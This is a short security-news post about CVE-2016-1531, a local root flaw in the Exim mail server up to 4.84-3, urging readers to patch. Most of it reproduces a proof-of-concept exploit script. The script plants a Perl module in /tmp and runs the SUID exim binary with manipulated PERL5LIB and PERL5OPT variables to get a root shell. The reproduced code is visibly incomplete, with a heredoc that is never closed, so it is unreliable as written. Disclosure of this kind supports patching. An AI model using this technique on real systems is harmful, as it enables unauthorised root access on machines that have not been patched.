Hacks and Incidents

Exim 4.84-3 Local Root / Privilege Escalation

Time to patch your Exim against local attackers as 4.84-3 and below are affected by a pretty simple vulnerability: the SUID exim binar, when invoked with the “perl_startup” flag, uses environment variables in an unsafe way. As result an attacker can execute arbitrary Perl code as root.

# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

Read more on https://packetstormsecurity.com/files/136124/Exim-4.84-3-Local-Root-Privilege-Escalation.html and http://exim.org/static/doc/CVE-2016-1531.txt.